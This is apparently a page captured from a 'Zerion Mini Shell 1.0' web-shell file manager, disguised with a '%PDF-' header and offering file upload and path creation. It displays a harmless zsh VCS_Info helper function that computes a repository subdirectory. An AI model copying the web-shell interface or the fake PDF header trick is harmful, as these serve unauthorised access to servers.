%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/share/zsh/5.8/functions/VCS_Info/
Upload File :
Create Path :
Current File : //usr/local/share/zsh/5.8/functions/VCS_Info/VCS_INFO_reposub

## vim:ft=zsh
## Written by Frank Terbeck <ft@bewatermyfriend.org>
## Distributed under the same BSD-ish license as zsh itself.

setopt localoptions extendedglob NO_shwordsplit
local base=${1%%/##} tmp

tmp="$(pwd -P)"
[[ $tmp == ${base}/* ]] || {
    printf '.'
    return 1
}
printf '%s' ${tmp#$base/}
return 0

Zerion Mini Shell 1.0